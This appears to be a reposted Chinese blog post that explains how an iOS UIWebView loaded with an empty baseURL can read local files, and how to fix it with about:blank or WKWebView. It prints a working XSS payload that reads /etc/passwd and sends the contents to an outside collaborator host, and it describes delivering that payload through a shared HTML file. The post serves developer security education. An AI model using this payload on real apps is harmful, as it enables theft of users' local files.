iOS开发小Tip之之WebView XSS

栏目: IOS · 发布时间: 6年前

内容简介:本篇文章会介绍一些我曾经在某些ios应用中看到的潜在安全问题。我认为程序开发者(同时也包括漏洞挖掘人员)应该意识到这个错误的配置,同时能保证webview的安全性。下面阐述的问题相当简单,但是常常被(开发者)错误的配置。当你想要在代码中配置一个webview的时候, 你通常会使用如下的代码:

iOS开发小Tip之之WebView XSS

本篇文章会介绍一些我曾经在某些ios应用中看到的潜在安全问题。我认为程序开发者(同时也包括漏洞挖掘人员)应该意识到这个错误的配置,同时能保证webview的安全性。

下面阐述的问题相当简单,但是常常被(开发者)错误的配置。当你想要在代码中配置一个webview的时候, 你通常会使用如下的代码:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]

很多开发人员都武断的认为,只要将baseURL设置为@””(空字符串)就是安全的。因为只要baseURL是空,那么攻击者就不能让webview加载任意有问题的网站,但显然这个观点是错误的。

事实上,当baseURL参数被设置成空字符串之后,有可能令攻击者访问到app的文件系统(通常来说会使用file://前缀)以及任意其他的网站,这样攻击者就绕过了SOP保护。

可以使用很多种方式利用这个错误的配置,其中最常见的是窃取文件,也就是说攻击者可以在webview中打开任意他能访问到的文件。举个例子, 首先看看下面这个简单的xss payload:

<script> 
	var request = new XMLHttpRequest();
	request.open("GET","file:///etc/passwd",false);
	request.send();
	request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
	request.send(request.responseText);
</script>

这段payload会直接打开手机的”/etc/passwd”文件,并将文件内容发送到攻击者的服务器上(在这个例子中, 我将使用Burp Collaborator去验证收到的请求)。

我只是简单的将其保存为html文件,而后同步到我的icloud上, 最后使用app分享给被攻击者(通常来说是通过iOS11之后才出现的名为‘File’的app)。

随后,当用户打开文件的时候, 我自然而然就拿到了对方的passwd文件:

iOS开发小Tip之之WebView XSS

其他潜在的攻击方式包括以下几种:

  • 使用一个内置的app打开url或者浏览器: 攻击者可以发送一个有危害的url给受害者(比如通过聊天工具),只要受害者点击链接就会在应用的webview中打开链接。
  • URL schema滥用: 攻击者通过外部(比如:邮件或者iMessage)向受害者发送一个有害的URL。只要url schema在一个webview钟打开这个链接, 那么利用就有可能进行。

最简单的修复方案是让baseURL等于’about:blank’,而不是空字符串,例如:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]

现在, webview运行在iphone的沙盒之内。攻击者可以实现一个简单的弹框, 但是没有办法窃取任何的数据或者和有危害的服务器通信。这个解决方案在某种场合下可能会影响应用的正常功能, 比如开发者从沙盒内加载了一张图片。在这个前提下, 你最好设计一个应用可以访问的目录、文件或者服务器的白名单。

如果开发者应该使用最新的webview类(”WKWebView”),而不是旧的webview类(”UIWebView”),那么可以令上诉攻击的成功率大大下降,以此提高应用安全性。WKWebView在默认情况下不运距AJAX请问访问本地问津系统(因此这篇博客使用的攻击方式在这种情况下无法正常使用,除非开发者显示的激活了这个功能)。除此之外,它还允许开发者启用或者禁止javascript代码的执行。

我希望上述的内容可以帮助到各位。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

精通正则表达式

精通正则表达式

Jeffrey E. F. Friedl / 余晟 / 电子工业出版社 / 2007 / 75

随着互联网的迅速发展,几乎所有工具软件和程序语言都支持的正则表达式也变得越来越强大和易于使用。本书是讲解正则表达式的经典之作。本书主要讲解了正则表达式的特性和流派、匹配原理、优化原则、实用诀窍以及调校措施,并详细介绍了正则表达式在Perl、Java、.NET、PHP中的用法。 本书自第1 版开始着力于教会读者“以正则表达式来思考”,来让读者真正“精通”正则表达式。该版对PHP的相关内容、Ja......一起来看看 《精通正则表达式》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具